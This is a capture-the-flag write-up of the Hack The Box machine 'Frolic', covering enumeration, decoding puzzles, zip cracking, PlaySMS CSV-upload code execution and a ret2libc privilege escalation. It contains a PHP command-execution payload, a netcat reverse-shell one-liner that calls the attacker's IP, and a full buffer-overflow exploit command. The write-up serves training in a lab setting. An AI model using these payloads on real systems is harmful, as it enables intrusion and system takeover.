Posts Frolic
Post
Cancel

Frolic

Enumeration

Masscan + Nmap

1
2
3
4
$ masscan -p1-65535,U:1-65535 `IP` --rate=10000 -e tun0 | tee masscan.out
Discovered open port 1880/tcp on 10.10.10.111
Discovered open port 9999/tcp on 10.10.10.111
Discovered open port 139/tcp on 10.10.10.111

Parse those ports to nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ ports=$(cat masscan.out |awk '{ print $4 }' | sed 's/\/tcp//;s/\/udp//' | tr '\n' ',' | sed 's/,$//')
$ nmap -sVC --min-rate 1000 -p $ports `IP` -oN nmap-fullscan.out
# Nmap 7.91 scan initiated Thu Jul 15 18:57:12 2021 as: nmap -sVC --min-rate 1000 -p 1880,9999,139 -oN nmap-fullscan.out 10.10.10.111
Nmap scan report for 10.10.10.111
Host is up (0.090s latency).

PORT     STATE SERVICE     VERSION
139/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open  http        Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h49m58s, deviation: 3h10m31s, median: 1s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2021-07-15T18:57:31+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-07-15T13:27:31
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 15 18:57:33 2021 -- 1 IP address (1 host up) scanned in 20.94 seconds

Port 9999 (HTTP)

Visiting http://10.10.10.111:9999/ gives

Thank you for using nginx. http://forlic.htb:1880 Adding frolic.htb to /etc/hosts.

Directory brute-forcing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ feroxbuster -u -u http://frolic.htb:9999/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -s 200,204,301,302,307,308                        

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher                    ver: 2.2.1
───────────────────────────┬──────────────────────
     Target Url            │ http://frolic.htb:9999/
     Threads               │ 50
     Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
     Status Codes          │ [200, 204, 301, 302, 307, 308]
     Timeout (secs)        │ 7
     User-Agent            │ feroxbuster/2.2.1
     Config File           │ /etc/feroxbuster/ferox-config.toml
     Recursion Depth       │ 4
     New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        7l       13w      194c http://frolic.htb:9999/test
301        7l       13w      194c http://frolic.htb:9999/backup
301        7l       13w      194c http://frolic.htb:9999/dev
200       28l       71w      637c http://frolic.htb:9999/
301        7l       13w      194c http://frolic.htb:9999/admin
200        1l        1w        5c http://frolic.htb:9999/dev/test
301        7l       13w      194c http://frolic.htb:9999/loop
200     1006l     5029w        0c http://frolic.htb:9999/test/
301        7l       13w      194c http://frolic.htb:9999/dev/backup
301        7l       13w      194c http://frolic.htb:9999/admin/js
200        3l        3w        0c http://frolic.htb:9999/backup/
301        7l       13w      194c http://frolic.htb:9999/backup/loop
301        7l       13w      194c http://frolic.htb:9999/backup/.backup
301        7l       13w      194c http://frolic.htb:9999/admin/css
200       25l       63w      634c http://frolic.htb:9999/admin/
200        3l        1w        0c http://frolic.htb:9999/dev/backup/
301        7l       13w      194c http://frolic.htb:9999/loop/loop
301        7l       13w      194c http://frolic.htb:9999/backup/loop/loop
301        7l       13w      194c http://frolic.htb:9999/loop/loop/loop
[#################>--] - 6m   1457768/1640262 49s     found:19      errors:1025
[####################] - 2m     63087/63087   440/s   http://frolic.htb:9999/loop/loop
[###################>] - 2m     60670/63087   460/s   http://frolic.htb:9999/backup/loop/
[##################>-] - 2m     58610/63087   461/s   http://frolic.htb:9999/backup/.backup/
[###############>----] - 1m     49114/63087   465/s   http://frolic.htb:9999/backup/loop/loop
[###############>----] - 1m     48503/63087   465/s   http://frolic.htb:9999/admin/css/
[#######>------------] - 50s    25057/63087   500/s   http://frolic.htb:9999/loop/loop/
[####>---------------] - 26s    13537/63087   506/s   http://frolic.htb:9999/loop/loop/loop
[#>------------------] - 7s      3599/63087   485/s   http://frolic.htb:9999/backup/loop/loop/

Also there’s a looping directory :0

DirectoryData
/backup/user.txtuser - admin
/backup/password.txtpassword - imnothuman
/admin/Login form - “c’mon i m hackable”
/dev/backup//playsms
/test/phpinfo data

/admin

admin:imnothuman didn’t let us login. Also there’s a alert everytime we submit a wrong password that we’ve only 1-2 attempts left. Wondering how that’s working, I saw the source code:

1
<script src="js/login.js"></script>

Which contains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;}}}

So the username and password is admin:superduperlooperpassword_lol and there’s a attempt variable, which just reduces the value and sets document.getElementById(“username”).disabled to true.

After logging in, it redirects to success.html having:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.

This seems like ook! language. I used a decoder here and it decoded to

“Nothing here check /asdiSIAJJ0QWE9JAS”

Visiting /asdiSIAJJ0QWE9JAS/ gives:

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA

This seems like base64 data, decoding base64

1
$ echo 'UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA' | base64 -d > something
1
2
$ file something
something: Zip archive data, at least v2.0 to extract

Decoded data is a zip archive, but it has a password. Let’s try cracking it’s hash john:

1
2
3
4
5
6
7
8
9
10
11
$ zip2john something.zip > hash
ver 2.0 efh 5455 efh 7875 something.zip/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23
$ john hash -w:/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (something.zip/index.php)
1g 0:00:00:00 DONE (2021-07-15 19:47) 7.142g/s 29257p/s 29257c/s 29257C/s booboo..horse
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Zip inflated with the password: password

1
2
3
4
$ unzip something.zip
Archive:  something.zip
[something.zip] index.php password:
  inflating: index.php

It contains something like a hex data, let’s decode that:

1
2
3
4
5
6
7
$ cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
$ cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Seems like a base64 encoded data:

1
2
3
4
5
$ cat index.php | xxd -r -p | base64 -di
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<

This seems like a brainfuck code, I decoded it from here After decoding I get idkwhatispass, But what is it for?

/playsms

Visiting /dev/backup/ showed me /playsms, accessing http://frolic.htb:9999/playsms/ gives me another login form. Trying admin:idkwhatispass works for playsms login.

Home page says:

Go to main configuration or manage site to edit this page.

Main configuration

Settings -> Main configuration -> Information page

We’ve a page edit option which has insert/edit link option to upload images. I tried uploading a php reverse shell as image, which uploaded, but gave 304 to my webserver. Also the one giving those 304 was my IP.

playsms.log

This log mentions me, logging in, validating as admin. But then mentions something about possible CSRF attack.

10.10.14.23 frolic.htb:9999 2021-07-15 19:29:49 PID60f03f55befbb - L2 auth_validate_login # invalid login u:admin uid:1 ip:10.10.14.23
10.10.14.23 frolic.htb:9999 2021-07-15 19:55:26 PID60f0455686061 - L2 auth_validate_login # valid login u:admin uid:1 ip:10.10.14.23
10.10.14.23 frolic.htb:9999 2021-07-15 19:55:26 PID60f0455686061 - L2 login # u:admin uid:1 status:2 sid:10vohcpmigmj4n1rned9hba6t4 ip:10.10.14.23
10.10.14.23 frolic.htb:9999  PID60f047a77eb2e - L2 init # WARNING: possible CSRF attack. sid:10vohcpmigmj4n1rned9hba6t4 ip:10.10.14.23
10.10.14.23 frolic.htb:9999 2021-07-15 20:05:19 PID60f047a7a36ba admin L2 auth_block # WARNING: no access or blocked. sid:10vohcpmigmj4n1rned9hba6t4 ip:10.10.14.23 uid:1 app:main inc:core_auth op:block route:block

Send from file + Import in phonebook

My Account -> Send from file and My Account -> Phonebook -> Import

Mentions uploading of a .csv file. Running searchsploit: searchsploit PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution clicks. We’re authenticated and have a csv file upload. And the code mentions how it tries CSRF attack:

1
2
3
4
 90     # Grabbing CSRF token from body
 91     /name="X-CSRF-Token" value="(?<csrf>[a-z0-9"]+)">/ =~ res.body
 92     fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
 93     vprint_good("X-CSRF-Token for login : #{csrf}")

Also there’s a similar exploit below:PlaySMS 1.4 - 'import.php' Remote Code Execution which is also based on import.php Reading the exploitation explains it’s the same. Uses csv file upload functionality to exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Code Execution using import.php

     We know import.php accept file and just read content
    not stored in server. But when we stored payload in our backdoor.csv
    and upload to phonebook. Its execute our payload and show on next page in field (in NAME,MOBILE,Email,Group COde,Tags) accordingly .

    In My case i stored my vulnerable code  in my backdoor.csv files's Name field .

    But There is one problem in execution. Its only execute in built function and variable which is used in application.

    That why the server not execute our payload directly. Now i Use "<?php $a=$_SERVER['HTTP_USER_AGENT']; system($a); ?>" in name field and change our user agent to any command which u want
to execute command. Bcz it not execute <?php system("id")?> directly .

Example of my backdoor.csv file content
----------------------MY FILE CONTENT------------------------------------
Name                                                                                            Mobile  Email   Group code      Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>

Foothold

Shell as www-data

  • Made a csv file with this content:
    1
    2
    
    Name,Mobile,Email,Group,code,Tags
    <?php $t=$_SERVER['HTTP_USER_AGENT'];system($t);?>,22,,,,			
    
  • Go to Account -> Phonebook -> Import
  • Intercept the request of upload, change User-Agent value to id
  • Send the request to see this output

Phonebook If you change the User-Agent to rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.23 4444 >/tmp/f: Shell received:

1
2
3
4
5
6
rlwrap nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.111 34956
bash: cannot set terminal process group (1213): Inappropriate ioctl for device
bash: no job control in this shell
www-data@frolic:~/html/playsms$

And www-data can read user flag:

1
2
www-data@frolic:/home$ cat ./ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0

Privesc

1
2
3
4
5
6
7
8
9
10
www-data@frolic:/home/ayush/.binary$ find / -perm -4000 -type f 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g
/home/ayush/.binary/rop

Checking functionality of rop, shows we can pass any message. It also tries to copy the input we passed with strcpy, which is vulnerable.

1
2
3
4
5
6
$ /home/ayush/.binary/rop
[*] Usage: program <message>

$ strings /home/ayush/.binary/rop | grep strcpy
strcpy
strcpy@@GLIBC_2.0

Checking for ASLR gives 0 which means everything is static.

$ cat /proc/sys/kernel/randomize_va_space
0

I pulled the binary to my box as frolic didn’t have gdb installed.

ROP (Return-Oriented Programming)

Open rop in gdb with PEDA, and run checksec:

1
2
3
4
5
6
7
8
9
$ gdb -q ./rop
Reading symbols from ./rop...
(No debugging symbols found in ./rop)
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

So, DEP(NX) is enabled, which means stack is Non-Executable or I can’t run shellcode from the stack, which is where I can write. Easiest attack I can do is Return-to-libc. Return-to-libc attack is part of a concept called Return-Oriented Programming which basically utilizes code that is already present in the program.

Note: Writeup to understand in depth, how stack works? or what’s Return-to-libc: October-Beyond-Root

Return-to-libc

ret2libc

Finding offset

1
2
3
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

200 chars crashes the program and gives segmentation-fault:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Starting program: /root/HTB/Frolic/privesc/rop 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xdd
EBX: 0xffffd0e0 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
ECX: 0x0
EDX: 0xc3
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x31414162 ('bAA1')
ESP: 0xffffd0b0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41474141 ('AAGA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41474141
[------------------------------------stack-------------------------------------]
0000| 0xffffd0b0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd0b4 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd0b8 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd0bc ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd0c0 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd0c4 ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd0c8 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd0cc ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41474141 in ?? ()

Passing the value at EIP to pattern search:

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ pattern search 'AAGA'
Registers contain pattern buffer:
EBP+0 found at offset: 48
EIP+0 found at offset: 52
Registers point to pattern buffer:
[EBX] --> offset 104 - size ~96
[ESP] --> offset 56 - size ~144
Pattern buffer found at:
0x0804b1cc : offset    5 - size  195 ([heap])
0xffffd078 : offset    0 - size  200 ($sp + -0x38 [-14 dwords])
0xffffd33e : offset    0 - size  200 ($sp + 0x28e [163 dwords])

EIP+0 found at offset 52.

Confirming the offset

Generating a Junk of 52 A’s and 4 B’s to reflect at EIP.

1
2
$ python3 -c 'print("A" * 52 + "BBBB")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

and it does reflects at EIP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'
Starting program: /root/HTB/Frolic/privesc/rop 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB'

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0xffffd170 --> 0x2
ECX: 0x0
EDX: 0x0
ESI: 0xf7fa1000 --> 0x1e4d6c
EDI: 0xf7fa1000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd140 --> 0xffffd300 --> 0x10
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd140 --> 0xffffd300 --> 0x10
0004| 0xffffd144 --> 0xffffd214 --> 0xffffd3b1 ("/root/HTB/Frolic/privesc/rop")
0008| 0xffffd148 --> 0xffffd220 --> 0xffffd407 ("SHELL=/bin/bash")
0012| 0xffffd14c --> 0x8048561 (<__libc_csu_init+33>:   lea    eax,[ebx-0xf8])
0016| 0xffffd150 --> 0xffffd170 --> 0x2
0020| 0xffffd154 --> 0x0
0024| 0xffffd158 --> 0x0
0028| 0xffffd15c --> 0xf7ddae46 (<__libc_start_main+262>:       add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Confirmed offset of 52.

Getting Addresses

Return-to-libc attack requires addresses of system, exit (Return address) and /bin/sh. We’ll take addresses from the libc shared library present on frolic.

  • Finding address of libc with ldd:
    1
    2
    
    www-data@frolic:/home/ayush/.binary$ ldd ./rop | grep libc
          libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
    
  • Getting offsets for system, exit and /bin/sh with readelf:
    1
    2
    3
    
    www-data@frolic$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e 'system@@' -e 'exit@@'
     141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
    1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
    
    1
    2
    
    www-data@frolic$ strings -at x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'
     15ba0b /bin/sh
    

    and for this libc base the final addresses are:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    exit    address = libc address + exit    offset in libc
                  = 0xb7e19000 + 0x0002e9d0
                  = 0xb7e479d0
    system  address = libc address + system  offset in libc
                  = 0xb7e19000 + 0x0003ada0
                  = 0xb7e53da0
    /bin/sh address = libc address + /bin/sh offset in libc
                  = 0xb7e19000 + 0x15ba0b
                  = 0xb7f74a0b
    

    You can calculate the final address like this:

    1
    2
    
    $ python3 -c 'print(hex(0xb7e19000 + 0x15ba0b))'
    0xb7f74a0b
    

    Buffer overflow goes: JUNK + SYSTEM (overwrite ret address) + EXIT (add next return address) + “/bin/sh” (arguments). That junk can be just NOPS (No operations ~ \x90)

    Exploit

    Since ASLR isn’t enabled, we can do:

    1
    2
    3
    4
    5
    6
    
    www-data@frolic:/$ /home/ayush/.binary/rop $(python -c 'print "\x90"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7"');
    whoami
    root
    cd /root
    cat root.txt
    85d3fdf03f969892538ba9a731826222
    
This post is licensed under CC BY 4.0 by the author.